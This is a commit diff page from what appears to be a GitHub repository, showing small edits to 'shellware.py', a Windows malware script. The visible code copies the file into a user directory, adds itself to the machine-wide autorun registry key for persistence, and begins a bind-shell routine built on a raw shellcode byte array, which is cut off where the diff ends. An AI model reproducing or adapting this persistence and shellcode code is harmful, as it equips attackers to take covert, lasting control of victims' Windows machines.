Skip to content

Commit 5729fa3

Browse files
author
NullArray
committed
Update shellware.py
1 parent f0aa916 commit 5729fa3

File tree

1 file changed

+5
-5
lines changed

1 file changed

+5
-5
lines changed

shellware.py

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -6,15 +6,15 @@
66
import pywintypes
77
import win32api
88
import subprocess
9-
from _winreg import *
9+
import _winreg
1010
import win32com.shell.shell as shell
1111

1212

1313
def autorun(dir, fileName, run):
14-
14+
# Copy to C:\Users
1515
os.system('copy %s %s'%(fileName, dir))
1616

17-
# Queries Windows registry for the autorun key value
17+
# Queries Windows registry for the autorun key value
1818
key = OpenKey(HKEY_LOCAL_MACHINE, run)
1919
runkey =[]
2020
try:
@@ -39,7 +39,7 @@ def autorun(dir, fileName, run):
3939
except WindowsError:
4040
pass
4141

42-
# Set key
42+
# Set key
4343
if 'foobar' not in runkey:
4444
try:
4545
key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
@@ -50,7 +50,7 @@ def autorun(dir, fileName, run):
5050

5151

5252
def execute():
53-
#Bind shell
53+
# Bind shell
5454
shellcode = bytearray(
5555
"\xb8\xee\x7c\x98\x76\xdb\xc6\xd9\x74\x24\xf4\x5b\x31\xc9"
5656
"\xb1\x53\x31\x43\x12\x03\x43\x12\x83\x2d\x78\x7a\x83\x4d"

0 commit comments

Comments
 (0)